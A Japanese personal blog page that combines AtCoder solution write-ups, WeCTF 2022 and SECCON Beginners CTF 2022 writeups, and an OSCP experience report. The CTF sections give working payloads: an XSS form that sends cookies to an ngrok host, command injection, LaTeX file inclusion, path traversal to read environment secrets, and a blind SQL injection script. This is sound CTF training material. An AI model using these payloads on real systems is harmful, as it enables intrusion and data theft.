はまやんはまやんはまやん

hamayanhamayan's blog

Addition and Multiplication 2 [日鉄ソリューションズプログラミングコンテスト2022(AtCoder Beginner Contest 257) E]

https://atcoder.jp/contests/abc257/tasks/abc257_e

前提知識

解説

https://atcoder.jp/contests/abc257/submissions/32754197

この問題は貪欲法で解く。
アドホックな解法ではあるが、方針としてはテクとしてよく見られる方法の1つ。

何が一番大切か

答えを最大化したいと考えたときに何が優先されるだろうかを考えてみる。
数字は何よりもまず桁数が大きい方が大きい数になるので、なるべく桁数は多くなる方がいい。
桁数を多くなるには支払うお金が最も少ない数だけを使って構築するのがいい。
なので、答えの桁数については比較的簡単に求めることができる。

支払いの最小金額minCを求めておくと、答えの桁数はN/minCの切り捨てで求めることができる。
これよりも桁数を増やせないことは自明だし、これよりも桁数が小さい数を使っても答えの最大化は
達成できないので、とりあえずこれはこれでよさそう。

なぜ答えの桁数を先に求めるのか、みたいな疑問はありそうだが、
元々似たような状況の問題を解いたことがあるからテクニック的に方針を導いたというのもあるし、
色々な解法を考えた中で答えにたどり着いた1つのパス上にあったというのもある。
(こういうアドホック貪欲は色んな可能性を探っていくことになります)

頭から貪欲に整合性が保たれるように決めていく

桁数が最大化されたら、より大きい数を構築するには上の桁ほど大きい数が採用できればいい。
7???よりも9???の方が???がなんであれ大きいので上の桁の数を最大化するのが最優先である。
この部分は上の桁から順番に大きい数を使ったときに残りの桁数を残りのお金で構築できるかを判断して埋めていく。
大きい数を順番に入れていくことを考えるが、その数を採用してしまうと残りの桁が埋められないという
状況になっていれば使用することはできない。
だが、逆に使用することができるならば、絶対に使用した方が数は他の選択よりも大きくなる。
このように「頭から貪欲に整合性が保たれるように決めていく」という方針は構築問題で見られるテクの1つ。
(見方によってはこの問題も構築問題ですね…)

この方針の一部にある「残りの桁数を残りのお金で構築できるか」という問題については、
桁数の最大化の時に利用した最小金額が役に立つ。
残りの桁数を残りのお金で構築する最適な方法は最小金額の数で埋めてしまうことなので、
これで埋めることができるかどうかを判定材料としよう。

int N, C[10];

void _main() {
    cin >> N;
    rep(x, 1, 10) cin >> C[x];

    int min_C = inf;
    rep(x, 1, 10) chmin(min_C, C[x]);

    int max_len = N / min_C;

    string ans = "";
    rep(len, 0, max_len) rrep(x, 9, 1) {
        int rest_len = max_len - len - 1;
        int rest_N = N - C[x];

        if (0 <= rest_N && rest_len <= rest_N / min_C) {
            ans += char('0' + x);
            N -= C[x];
            break;
        }
    }
    cout << ans << endl;
}

Jumping Takahashi 2 [日鉄ソリューションズプログラミングコンテスト2022(AtCoder Beginner Contest 257) D]

https://atcoder.jp/contests/abc257/tasks/abc257_d

前提知識

解説

https://atcoder.jp/contests/abc257/submissions/32753407

何から考え始めるか

いつものように全探索解法がないか探してみる。
全探索できそうなのはSの値か、始点となるジャンプ台くらいな感じがする。
この辺りから考え始めていき、Sの値の全探索の方で使えそうな属性が浮かび上がってくる。

Sの値を増やしていくとジャンプすることができる遷移がどんどん増えていくことになる。
そして、大事なのが、Sの値を増やしても前使えた遷移が使えなくなることがないということ。
ここから何が言えるかというと、Sの値をどんどん増やしていくと、
あるSの値を境に高橋君の目的が達成されるようになるということである。
問題では、最低何回訓練を行う必要があるかという問であるので、ちょうどこの「あるSの値」が答えになっている。

ここまで考察が進んでいれば、あとは知っていれば解法のとっかかりが見えてくる。
このようなある境界より前は条件を満たさず、ある境界より後は条件を満たすような境界を探すときは、
二分探索が有効である。
もし知らない場合は、この方針で解くのは難しいだろう。

二分探索

以下のような評価のための関数を用意しよう。

check(S) := 指定されたSについて高橋君の目的を達成することができるか

二分探索で問題になるのが探索範囲であるが、xyの値の範囲を見ると右辺の最大値は4×109になりそうである。
Pの最小値が1であることを考えると探索範囲の最大値は4×109以上にしておく必要がありそうだ。
自分は念のため+1した値を最大値とした。

計算過程でintにおさまらない可能性があるので、intは使わずlong longで変数を各種用意している。

check関数の中身

あとは、check関数が適切に実装できれば答えになる。
色々解法があるように思えるが、始点とするジャンプ台を全探索することで解いた。
各全探索では、始点とするジャンプ台startからの遷移で他のジャンプ台に行けるかどうかの判定が必要となる。
これはbfsを使って判定している。
bfsをする過程で到達済みの要素を保存しておくことになるが、これがbfs後に到達可能性な要素となる。
bfsを到達可能性判定に使用することもよくあるので覚えておくといい。
1つでも全部到達可能な始点があればtrueで、1つもないならfalseと返せばcheck関数完成。

int N;
ll x[201], y[201], P[201];

bool canMove(ll S, int from, int to) {
    return P[from] * S >= abs(x[from] - x[to]) + abs(y[from] - y[to]);
}

bool check(ll S) {
    rep(start, 0, N) {
        set<int> visited;
        queue<int> que;

        visited.insert(start);
        que.push(start);

        while (!que.empty()) {
            int cur = que.front();
            que.pop();

            rep(to, 0, N) if (to != cur) {
                if (canMove(S, cur, to) && !visited.count(to)) {
                    visited.insert(to);
                    que.push(to);
                }
            }
        }

        if (visited.size() == N) return true;
    }

    return false;
}

void _main() {
    cin >> N;
    rep(i, 0, N) cin >> x[i] >> y[i] >> P[i];

    ll ng = -1, ok = 4000000001LL;
    while (ng + 1 != ok) {
        ll md = (ng + ok) / 2;
        if (check(md)) ok = md;
        else ng = md;
    }
    cout << ok << endl;
}

Robot Takahashi [日鉄ソリューションズプログラミングコンテスト2022(AtCoder Beginner Contest 257) C]

https://atcoder.jp/contests/abc257/tasks/abc257_c

前提知識

  • SegTree (だが、使わない解法もあると思う)

解説

https://atcoder.jp/contests/abc257/submissions/32751195

全探索解法に向けて

まずは全探索解法がないかを模索してみる。
Xが実数全体を動くとされているが、実数空間を全探索することはむずかしい。
よりXの値を分かりやすく設定でき、かつ、意味のあるものにできないか?

体重が{2,5,9}をサンプルとして考えてみる。
まず、X=1とすると、全ての人は大人であると期待されることになる。
境界線を|と書くことにすると|259のような状況を考えていることになる。
X=1の次にX=1.5を考えてもよさそうだが、これは状況的には|259と全く変わりがない。
次に状況が変わるのは、Xが2を上回ったときである。
例えばX=3の時は2|59となるので、これは違う状態としてチェックが必要である。
次はX=4もよさそうだが、これも状況が変わらないので次はX=6あたりで25|9をチェックすることにする。
つまり、全探索するべきものはXというより「境界線」であり、
境界線は数の間と前後に置くことができるのでN+1通りとなる。
具体的に{2,5,9}のサンプルでいうと|259 2|59 25|9 259|の4通り。

まとめると、実数全体では全探索のイメージがつかめないので、境界線を全探索する。

全探索解法でやること

順番が答えに影響することはないので、体重についてはソートしておこう。
一旦、体重が同じ人がいないものと考えていこう。
全探索で境界線をおくと、正直具体的な体重については特に興味がなくなるので、
|010 0|10 01|0 010|
みたいな状態に対して境界線より前に0が何個あるか、後ろに1が何個あるかを求めて和を取ればf(X)になる。

このように「とある境界より前にある0の個数」「とある境界より後ろにある1の個数」が高速に求められれば、
境界線を全探索しても解けそうだ。

個数を数えるには

この部分は色々やり方が存在する。
一番計算量がよさそうなのは累積和を使用する方法だし、
境界線を全探索しながら差分だけ計算していくやり方もあるだろう。

一旦計算量は悪いが、データ構造を素直に適用するSegTree解法を紹介しておく。
Segtreeはとある配列に対して区間の総和などが取れるデータ構造である。
AtCoder Libraryにもある。
(説明は結構大変なので、SegTreeを知らない場合は一旦問題を止めてググってみてください…)
0用と1用の2つのSegTreeを用意しよう。

zero[L,R] = 区間[L,R)にある0の個数を返す
one[L,R] = 区間[L,R)にある1の個数を返す

詳しい実装はソースコードを見てもらう方が分かりやすいと思う。
zeroについては0がある場所に1を置いておけば区間総和すれば、区間にある0の個数が返ってくる。
これを使えば、zero[0,x) + one[x,N)みたいな感じでf(X)を求めることができる。
あとは、それの最大値を答えればAC。

体重が同じものはどうするか?

極端な例として、体重が同じ3名がいて、001みたいな大人子供設定だったとする。
体重で単純にソートして、大人子供の01でもソートすると001みたいな感じになる。
この状態で全探索をすると以下のようになる。
|001 0|01 00|1 001|
こうすると3番目で一番良い結果が出て3が答えになるように見えるが、
実際は全員同じ体重なので境界線が中途半端な所に来ることはなく、
|001 001|
の2択しかありえない。
よって単純にソートしてしまうと問題が発生する。

ちゃんとやるなら、体重が同じ人をまとめてしまって、
上のsegtreeでは1ではなくて人数を入れるのがいいと思うが、自分はソートを工夫することで切り抜けた。

体重で昇順ソートをして、大人子供設定は降順ソートすることにする。
この場合でも状態として
|100 1|00 10|0 100|
が発生してしまうが1と0が反転しているおかげで、中途半端に境界線が入っている状態がそうでないものよりも
よいf(X)になってしまうことを防いでいる。
この状態ではより良い結果を出すためには境界線を先頭か末尾に入れるしかなくなるので、
最大値を最終的に取ったときに中途半端な状態は無視される。
このような工夫で体重の重複を乗り切った。

int N;
string S;
int W[201010];
vector<pair<int, char>> WS;

int op(int a, int b) { return a + b; }
int e() { return 0; }

void _main() {
    cin >> N >> S;
    rep(i, 0, N) cin >> W[i];
    rep(i, 0, N) WS.push_back({ W[i], -S[i] });
    sort(all(WS));

    segtree<int, op, e> zero(vector<int>(N, 0));
    segtree<int, op, e> one(vector<int>(N, 0));
    rep(i, 0, N) {
        if (-WS[i].second == '0') zero.set(i, 1);
        else one.set(i, 1);
    }

    int ans = -1;
    rep(i, 0, N + 1) chmax(ans, zero.prod(0, i) + one.prod(i, N));
    cout << ans << endl;
}

WeCTF 2022 Writeups

Dino Run

恐竜で遊ぶゲームが起動する。
フラグが右下にあるようなので移動しよう。
盤面がそれほど大きくないこともあり、フラグマスに到達でき、表示されたフラグが答え

Grafana

  • Grafana v8.3.0 (914fcedb72)が使用されている
  • PoCはそのまま動かさず、PoCを見ながら手動でポチポチしていたら以下でフラグが手に入った。 GET /public/plugins/state-timeline/../../../../../../../../tmp/flag

Google Wayback

  • 脆弱性をざっくりがしてみる
    • search.phpの29行目に単純なXSSがある<?php echo $_GET["q"]; ?>。だが、search.phpにはRecaptchaがついているので、踏ませるためにはこれをbypassさせる必要がある。
  • Recaptchaのbypass
    • これは、自分でチャレンジレスポンス(用語あってるかな?)を用意して、与えることでbypassする CAPTCHA does not prevent cross-site request forgery (CSRF) - Detectify Blog
    • RecaptchaのPOST /recaptcha/api2/userverifyの戻り値の2番目あたりにチャレンジレスポンスがあるので、これを相手に踏ませることにする
  • POST経由でのXSSとなる
  • 単純なXSS部分
    • GETパラメタのqに</title><script>[js codes]</script><title>をやってやればいい
  • この辺を前提にして、以下のようなhtmlのサイトを踏ませれば良い。
<form name=TheForm action="http://google.jp.ctf.so/search.php?q=/search.php?q=%3C/title%3E%3Cscript%3Efetch(%27https://.ngrok.io/test%27%2bencodeURI(document.cookie));%3C/script%3E%3Ctitle%3E" method=post>
    <input type=hidden name="q" value="x">
    <input type=hidden name="g-recaptcha-response" value="03AGdBq26UOKfM7KKXOADsY_CuVWK3rr3D6tvmIC6oIa5WF7H-F4HbAkrgD3vsatd4bTsZc3YMGx1kbVvmQs7VuzioLykj5qNF6hkroqUx96Xx_6uHtQo6cGrz6v_v7xjNw5flElRDkLhxXz2HGkjnniRqO-G3usNjW65Rk1ONs11YZb3bzljflKuyGiZkr17hcV8SV45OM9KZsBFsEU3XrNalCUE9KjJnsQbiyuH1kzpTE4LfczOykGRfpDBwhDtd7dxdL78-ORNXvyT4dhU3vPpUwfC6M6Y8ElaopQ56F1ta8CzegwjT5w5B01tkhrgiShBMX3oOyIK2yUFk4ywQ_g4D5Et93QFFl8KOzoHtXzWGq8UE8EabVbFaSV-ucpnkmwpvp97gNWtek03aWzCsjohbyci1vKfWApro1-ME4Vz6mNuteueCwEwwNHHcsTZCd_p3P4fGidT9rs2ALFwDzpKlEem1UTLfQA">
    <input type=hidden name="btnG" value="Google+Search">
</form>
<script>
document.TheForm.submit();
</script>

Dino Run (Extra Hard)

  • コードリーディング
    • main.jsを読んでいるとwebsocketのconnectionのmessageくらいしか攻撃点がなさそう
    • JWTトークンも攻撃は難しそうだしな…と思って読み進める
    • up/down/left/rightの中のlet item = locationMap.get(decoded.key) || {};がひっかかる。null(undefined?)で落としてもよさそうだが、なぜか何とか動くようにしてある。これは使えそう
  • up/down/left/rightでdeadで失敗する場合があるが、その場合はJWTトークンを再送すれば再チャレンジができる。成功できるまでトークンを使いまわすことで駒を進めていくことができそう。右下に到達すればフラグが得られると思う
  • ほぼほぼ間違いないが適当にjsコードを書き換えて手元でやると確率が結構キツイ…以下のようにpythonコードを書いてひたすら待ってました
    • 初期トークンを入手したらそれと初期状態としてコマンド実行していく
    • 以下そのままでは動かないけれど、適当に出力見ながらやっていけばフラグが得られます
  • (かなりサーバに負担がかかる回答で、非想定だったら本当にごめんなさい)
import asyncio
import websockets
import json

#ix = 0
#iy = 0
#start_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJwb3NpdGlvbiI6eyJ4IjowLCJ5IjowfSwiZGVhZCI6ZmFsc2UsImtleSI6Im9ka0lIYW5WNFA3a0xBU0RiamRESWNYdVhEK043WFNkL3YrZ09IbkMwRU09IiwibmFtZSI6ImV2aWxtYW4iLCJpYXQiOjE2NTQ5OTY3MTF9.iAkA67Txfy7XqNupZKZ2dYocUAvD1xv8v9-giyRdo_GePjIUDD6Lt3eGPsma32zsTdabKLydHt7Z2XH8bxUvmV89Yy2eAhJwux84PXBiSgWlGe7sm_1n4-4-16XANy7C3rDStgy2-QcyynrmI9gho_3nOwOJZ2T_sxF68NQr_AODtfDAfp9m4WsR4E9Y2JNqDTw0VNZjt_Uxq_SO_3dUXvmiVUmpw-xpG7oG5iK28meQSKg6pboYWQQUm9_-d32ZBVNdquFq-8bzfeHVnGVM-l73KnkEiV2hQZXIbjDxJ9u2pKWwZgmf7qaBE8QwBi1GIvD0ZCuc5VbyfgI_Ih-VHQ"

ix = 31
iy = 30
start_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJwb3NpdGlvbiI6eyJ4IjozMSwieSI6MzB9LCJkZWFkIjpmYWxzZSwia2V5Ijoib2RrSUhhblY0UDdrTEFTRGJqZERJY1h1WEQrTjdYU2QvditnT0huQzBFTT0iLCJpYXQiOjE2NTUwMTI1Njh9.hfN5sF5C68FCpUPnxFcDAGMM4NYS52ws7uYjFl9de34FFJIkyxQkdTprB4IMy0kk9qqAe3XPOW-mA30VdcRfpYcgoxdoy42Kl8XZOhWQS2osNMeNuemeeMQpWldI7k3681p-2ObKdgBVqYigjo2p7x6Lk3IWIlcwnaelKjYnwoGKRWnFet2lN888bHxTcgLA6fzW4ywsBFN_Q4KR6e1b3DTmoopftbKGJSUTIPMyU0o-XbP7nmTP4MXsK6qWcWRO33hHHm3Sb-0HC_vaDMRD006iXYxbf8zJKnDaZTq0CKzrYeO6QZIQPzHJ7HK8fLZntSbmdj4HfDwc_2x2-rKsvg"

async def solve():
    uri = "ws://backend-dino-run-hard.jp.ctf.so"
    async with websockets.connect(uri) as websocket:
        token = start_token
        i = ix + iy
        failed = 0

        while i < 31 * 2:
            com = "right" if i % 2 == 0 else "down"
            data = {"command": com, "token": token}
            await websocket.send(json.dumps(data))
            for _ in range(10):
                resp = json.loads(await websocket.recv())
                print(resp)
                if resp['command'] != "state":
                    break
            if resp['dead']:
                failed += 1
                #print(f"NG!{failed}", end="")
                #sys.stdout.flush()
            else:
                token = resp['token']

                i += 1
                x = i // 2 + i % 2
                y = i // 2
                failed = 0

                print(f"\nOK! You can move! x:{x} y:{y} token:{token}")
            await asyncio.sleep(0.1)

asyncio.get_event_loop().run_until_complete(solve())

SECCON Beginners CTF 2022 Pwn 解説まとめ Writeups

復習しましたー、環境生かして頂いてて、ありがとうございます。
解説元のみなさんもかなり勉強になりました…ありがとうございます。

https://score.beginners.azure.noc.seccon.jp/

SECCON Beginners CTF 2022 Web+α 解説

Web問全部と他解けた問題を解説。

Util [web]

main.goの29行目でcommnd := "ping -c 1 -W 1 " + param.Address + " 1>&2"のように呼び出すコマンド文字列を作成している。
入力値は自由に入れられるので、コマンドインジェクション脆弱性がある。
セミコロンで複文にして、任意のコードを実行しよう。

127.0.0.1; ls /とするとping -c 1 -W 1 127.0.0.1; ls / 1>&2となる。
これで、前半のpingと後半のls / 1>&2となり、後半部分によってディレクトリを表示させることができる。
これでフラグのファイル名が漏洩するので、127.0.0.1; cat /flag_A74FIBkN9sELAjOc.txtでフラグが抜き取れる。

textex [web]

flagファイルが読めればよさそうだが、ランダム文字列がついていないのでRCEまでは要らなくて、LFIができればよさそう。
LFI観点で脆弱性を探しても特に気になる部分は見当たらなかったので、texの処理の過程でLFIできると想像して色々調べてみる。

まずはLFIできることを確認

調べると、LFIや場合によってはRCEができるようだ。
Latex Injection

色々試すと、特定ファイルはLFIできた。

\documentclass{article}
\begin{document}

\input{uwsgi.ini}

\end{document}

とりあえず、方向性はあっていそう。色々試すととれるファイルと取れないファイルがありそう。

flagという文字列チェックの回避

flagという文字列があると無害化されてしまうので、newcommandというのを使って文字列を分割することでチェックを回避する。

\documentclass{article}
\begin{document}

\newcommand{\variable}[1]{uwsgi.in#1}
\input{\variable{i}}

\end{document}

よし。これで後はflagを指定するだけ…と思っていたが、エラーになってしまう。

なぜか取り出せない問題の解決

環境構築をして、フラグとctf4b{x_y}と書き直すとエラーになる。内容にアンダースコアがあるとエラーになるようだ。
texの構造にかかわる文字列が含まれるとエラーになるのだろう。
そのまま読み込む方法がある(上記チートシートでも紹介されている)ので、これを使えばフラグが得られる。

\documentclass{article}
\usepackage{verbatim}
\begin{document}
\newcommand{\variable}[1]{fl#1}
\verbatiminput{\variable{ag}}
\end{document}

gallery [web]

フラグの場所が分からなかったが、handlers.goの25行目にfileExtension = strings.ReplaceAll(fileExtension, "flag", "")とあるのを見ると、/?file_extension=flagのように指定をして、flagを含むファイル名を抜き出してくるのだろう。

フラグが書かれているファイル名の特定

無害化しているfileExtension = strings.ReplaceAll(fileExtension, "flag", "")をよく見ると1度しか削除していないので、/?file_extension=flflagagのようにすれば、一回削除されてflagを入力値とできる。
これでファイル名が漏洩する。
/images/flag_7a96139e-71a2-4381-bf31-adf37df94c04.pdfが取得できればいい。

ファイルサイズ制限の回避

main.goの24行目あたりのfuncでファイルサイズ制限が働いている。
main.goの42行目を見ると10240bytesが上限のよう。

ファイルサイズ制限を回避するために一度に持ってくるファイルのサイズを指定することにしよう。
HTTPのRequest時にRangeヘッダーを追加することで、リクエストしているファイルの特定バイトをリクエストできる。
Rangeヘッダーが機能するかは実装によるのだが、試しにRange: bytes=0-50としてみると、%PDF-1.4のように正しくpdfファイルが抜き取れていそな応答が返ってくる。
このヘッダーを使ってファイルを取得してきて、結合するとフラグが書かれたpdfファイルが得られる。

serial [web]

フラグの場所を見るとDBに入っているのでSQL Injectionを使ってフラグの情報を抜き出してくるようだ。
まずはソースコードを巡回して使えそうな脆弱性を見ていこう。

  • databse.phpの65行目 $sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
    • 明らかなSQL Injection箇所。発生個所であるfindUserByName以外は対策されているのでここが起点
  • signup.phpの56行目 setcookie("__CRED", base64_encode(serialize($user)));
    • cookieにユーザー情報がシリアライズされて格納されている。取り出し時にも検証は無いようだ
    • 脆弱性というよりバッドプラクティスであるが、今回はこれが使える

SQL Injectionを発現する

findUserByNameが呼ばれている部分でユーザー入力がそのまま入りそうな所を見てみると、user.phpのlogin関数である。

function login()
{
    if (empty($_COOKIE["__CRED"])) {
        return false;
    }

    $user = unserialize(base64_decode($_COOKIE['__CRED']));

    // check if the given user exists
    try {
        $db = new Database();
        $storedUser = $db->findUserByName($user);
    } catch (Exception $e) {
        die($e->getMessage());
    }
    // var_dump($user);
    // var_dump($storedUser);
    if ($user->password_hash === $storedUser->password_hash) {
        // update stored user with latest information
        // die($storedUser);
        setcookie("__CRED", base64_encode(serialize($storedUser)));
        return true;
    }
    return false;
}

見てみると、cookieに入っているユーザー名がSQL Injectionに使われている。
試しに以下のようなPHPコードを作ってcookieの中身を見てみると、エラーメッセージからSQL Injectionが発生していることが分かる。

<?php
class User
{
    private const invalid_keywords = array("UNION", "'", "FROM", "SELECT", "flag");

    public $id;
    public $name;
    public $password_hash;

    public function __construct($id = null, $name = null, $password_hash = null)
    {
        $this->id = htmlspecialchars($id);
        $this->name = htmlspecialchars(str_replace(self::invalid_keywords, "?", $name));
        $this->password_hash = $password_hash;
    }

    public function __toString()
    {
        return "id: " . $this->id . ", name: " . $this->name . ", pass: " . $this->password_hash;
    }

    public function isValid()
    {
        return isset($this->id) && isset($this->name) && isset($this->password_hash);
    }
}

$x = 'Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjQ6IjE4MDYiO3M6NDoibmFtZSI7czo3OiJldmlsbWFuIjtzOjEzOiJwYXNzd29yZF9oYXNoIjtzOjYwOiIkMnkkMTAkM3E3SkN0YzVGUFZSbkpPY3NOS0ZkT0MudmZsSlF4eDkvNmxuRkJsVW9PYW05MVl5Lml6alciO30%3D';
$user = unserialize(base64_decode($x));

$user->name = "'";

echo base64_encode(serialize($user));

ただ、値取得はできなさそうなので、Blind SQL Injectionすることにする。

Error-Based Blind SQL Injection

例外発生は検知できるので、例外が発生するかどうかをオラクルとして情報を抜き出していくことにする。
いつものBlind SQLiとは違って、phpシリアライズド文字列が必要だったので、phpを呼び出してペイロードを作るシステムにして、抜き出しコードを作成していった。

以上のコードを少し改変して、引数に指定された文字列をユーザー名とするcookie用文字列を作るphpコードを用意した。

<?php
class User
{
    private const invalid_keywords = array("UNION", "'", "FROM", "SELECT", "flag");

    public $id;
    public $name;
    public $password_hash;

    public function __construct($id = null, $name = null, $password_hash = null)
    {
        $this->id = htmlspecialchars($id);
        $this->name = htmlspecialchars(str_replace(self::invalid_keywords, "?", $name));
        $this->password_hash = $password_hash;
    }

    public function __toString()
    {
        return "id: " . $this->id . ", name: " . $this->name . ", pass: " . $this->password_hash;
    }

    public function isValid()
    {
        return isset($this->id) && isset($this->name) && isset($this->password_hash);
    }
}

$x = 'Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjQ6IjE4MDYiO3M6NDoibmFtZSI7czo3OiJldmlsbWFuIjtzOjEzOiJwYXNzd29yZF9oYXNoIjtzOjYwOiIkMnkkMTAkM3E3SkN0YzVGUFZSbkpPY3NOS0ZkT0MudmZsSlF4eDkvNmxuRkJsVW9PYW05MVl5Lml6alciO30%3D';
$user = unserialize(base64_decode($x));

$user->name = $argv[1];

echo base64_encode(serialize($user));

上をa.phpとして保存して、以下のようなコードでBlind SQL Injectionを行っていく。

import requests
import subprocess
import time

url = "https://serial.quals.beginners.seccon.jp/"

def send(p):
    payload = subprocess.run(["php","a.php",p], stdout=subprocess.PIPE).stdout.decode('utf-8')
    return requests.get(url, cookies={"__CRED": payload}).text

def check(p):
    res = send(p)
    return 'failed query for' in res

ans = ""
for i in range(1, 1010):
    ok = 0
    ng = 255

    while ok + 1 != ng:
        md = (ok + ng) // 2
        exp = f"' or (select exp(1783) where {md} <= ascii(substring(({req}),{i},1))) #"
        if check(exp):
            ok = md
        else:
            ng = md

    if ok == 0:
        break

    ans += chr(ok)
    time.sleep(1)
    print(f"[*] {ans}")
print(f"[*] done! {ans}")

Ironhand [web]

フラグはsecretマシンにあるが、このマシンに到達するにはappマシンの/にadmin権限を持つユーザーでアクセスする必要がある。
パっと見てadmin=trueとする方法はなさそうなので、JWTの偽装が必要そう。
脆弱性を探していくとJWTの偽装に使えそうな脆弱性が見つかる。

LFI

main.goの121行目で定義されている/static/:fileにはLFI脆弱性が存在する。
:file部分に../を含むようなパスが指定できればうまくディレクトリトラバーサルが働いてLFIできそうである。
しかし、呼び出しの際にnginxが嚙まされているせいで、普通に../を入れこんでもエラーになってしまう。
ここで使えるのがmain.goの122行目で実施されているpath, _ := url.QueryUnescape(c.Param("file"))で更にアンエスケープ処理が入っているので、2回URLエスケープしてやれば、フレームワークで1回アンエスケープされて、122行目でさらにもう1回アンエスケープされてうまくディレクトリトラバーサルにつなげられる。

LFIからどうする?

今回はJWTの秘密鍵が分かると偽装が可能になるが、この秘密鍵環境変数に入れられている。
実は/proc/self/enrivonを参照すると環境変数を取得することができる!!
ここがなかなか知識ゲーではあるが、これを知っていれば自然な流れで考察が進む。
という訳でGET /static/%252E%252E%252F%252E%252E%252Fproc%252Fself%252FenvironするとJWTの秘密鍵U6hHFZEzYGwLEezWHMjf3QM83Vn2D13dを取得できる。

JWT

後は、Cookieに入っているJWTトークンを偽装してやればいい。
jwt.ioを使えばいい。

CoughingFox [crypto]

場所がシャッフルされているが、各暗号数値について対応するiを全探索して、暗号後数値-iが平方数であれば、そのiが正しい位置とすればiが一意に定まる。 あとは適当に復元すればフラグが得られる。

bool isSquare(ll n) {
    ll d = (ll)sqrt(n) - 1;
    while (d * d < n) ++d;
    return d * d == n;
}

void _main() {
    string ans = "ctf4b{XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX}";

    int x;
    while (cin >> x) {
        int sz = ans.size();
        rep(i, 0, sz) if (isSquare(x - i)) {
            ans[i] = char(sqrt(x - i) - i);
        }
    }

    cout << ans << endl;
}

H2 [misc]

x-flagというヘッダーにフラグが書いてあるらしいのでwiresharkhttp2.header.name == x-flagで検索することでフラグが得られる。

OSCP 合格体験記 2022/05

ナレッジ共有です。

OSCPを受ける前に

  • HackTheBoxを少なくとも数個は完了させておくこと
    • HackTheBoxのVIPはOSCPに比べたら信じられないくらい安いのでVIPを契約して、少なくともWriteupを見ながらEasyが攻略できるか確認しておくといい。見ながらでも良く分からない場合は、早い気がする
      • 最近は日本語Writeupも沢山あるので、日本語Writeupがあるものからやっていくのもいい
    • linuxコマンドの説明とかネットワークまわりのとか必要なことは説明してくれるが、1契約期間がmax 90日であることを考えると、そんなことやってる場合じゃないし、完全じゃない
    • どんな学習過程でもそうかもしれないが、ラボ攻略はある時点から急激に勝手がわかってくる。思考法みたいなものを学べるので、あるとき急激に理解が進んだ実感があった。その時点をOSCPのラボ期間中に持ってこれると一番コスパ良い
    • OSCPに似ているボックスが紹介されている。他にもまとめがあったような https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=0
  • pythonPHPが読める必要がある
    • 他にもちょっと出てきたりするが、ほぼほぼこの2つなので、最低限読めるようになっておく必要がある
  • 英語
    • 英語は全く分からないと困ります。OSCP受けるような人なら必須ラインは越えてる気がしますが、OSCP受験時はテキストベースですが英語でやり取りする必要があるので注意です
    • 試験中コーヒー飲みまくってたので「I want to go to the bathroom.」が一番使った英語です。(ICPCのアジア予選でも使った気がするな)

OSCPで学べること

  • 網羅的な攻撃手法
    • 攻撃手法もそうだが、割と実務ベースで色々なことを教えてくれる
    • 高くて資料が分厚いだけあってかなり網羅性がある
  • 攻撃者の思考法
    • これは明記されている訳ではなく、自分が読み取った感じであるが、攻撃者の思考法を模倣できる
    • 「この環境にはこれが無いんや、面倒やけど持ってくるか」とか「こういうハーデニングされてるのかー面倒やな」とか「ウイルス対策うざすぎんか?」とか人間味あふれる攻撃模様を体感できる
    • 現実の攻撃でPCにある情報を根こそぎ圧縮ファイルに固めてMegaとかで抜いていることが書いてあるホワイトペーパーがあったりするが、侵入が面倒な端末に対しては入りなおすのも面倒だから根こそぎ情報を抜き取ってきたい信条になる。Persistenceの重要性も理解できるのでMITRE ATT&CKなどがとても実感できる
  • AD環境へのハッキング
    • 学習用のAD環境というはOSCPラボに限らず色々な所でサービスとなっているが、どこも高いので、ついでと言っては何だが、OSCPで学ぼう
    • それほど難しいことは学べないので注意

実際OSCPで教わる攻撃手法はHackTheBoxのRetireマシンを全部やれば、ほぼほぼ網羅できると思う。だが、企業を模倣した80台レベルの環境というのはそうそうないので、そういった環境を楽しんで探索できるのがOSCPラボの魅力かと思う。

(実際、試験は穴が見つかるか見つからないかのチキゲームで、ちょっとセンスゲーな感じがしないでもないが…)
試験自体は、実際流れというか基本概念が分かっていれば、後は24時間頑張れば行き当たりばったりで合格できる気がする。ただ、この辺りは非常に評価が分かれそうで、強者にとっては自明すぎてやるだけなのだが、見つからない人は一生見つからないみたいな競プロみたいな事態になりそう。とは言っても、ここも競プロ同様に経験でカバー可能なので、鍛錬を積もう。

ラボ攻略について

  • かなり楽しいので時間を作ってやること
  • "Forum"
    • ラボ受講者向けの情報交換フォーラムがあり、ラボのヒントが投稿される
    • 大体ここを読み込めば難しいマシンでもなんとなく解ける
    • これを使わないと1か月で全完は無理。というか、もう終わらせることが目標になっていて、後半はかなりForum見ながらやってました…
  • ラボ攻略のペース
    • 1か月でほぼほぼ全部解きましたが、平日5時間休日空き全てを費やして1か月かかります。1台3,4時間くらいのペース?多分。
    • 深いマシンの方が難しいというかそういったことはあまりないが、面倒というか別方面で頑張ることが増える
    • 試験では離れ環境とかは無いのでPublicがとりあえず一通り解ければ受かるんじゃないかな
    • ラーニングパスがあるので従うこと。https://help.offensive-security.com/hc/en-us/articles/360050473812-PWK-Labs-Learning-Path
      • 特にRetiredマシンみたいな扱いを受けて、Forumに1から10まで攻撃方法が書いてあるマシンがあるので、それから初めてもいい
  • やっていくと分かる直接的ではないヒント
    • ForumではIPというより、ユーザー名やホスト名でヒントを出してる人が多いので、マシンに侵入が完了したらユーザー名やホスト名はメモっておくこと
    • ハーデニングがなされているマシンがあることに注意。攻撃者、もしくは、防御者の始点になって設定を想像すること
    • Publicネットワークと他の離れ環境の間のFWの設定も色々頑張ってやってる。1パターンではないので、色々な可能性を考えること
    • 解けた場合でもForumは巡回した方がいい。知見がかなりたくさんある
  • 攻略しながらOSCP本試験で使うチートシートを作ること
    • 色々な受験記で言われていることですね
  • BoFについて
  • あ、あと教科書のExerciseは一個もやってません
    • なので良し悪し分からないです

他の体験記

先達の方が出されている体験記を読み漁りました。
(ググったらヒットしすぎてビビるくらいです。多分合格者全員書いてる)
どれも生々しいものばかりでとても参考になりますし、合格してから読み返しても納得感があります。
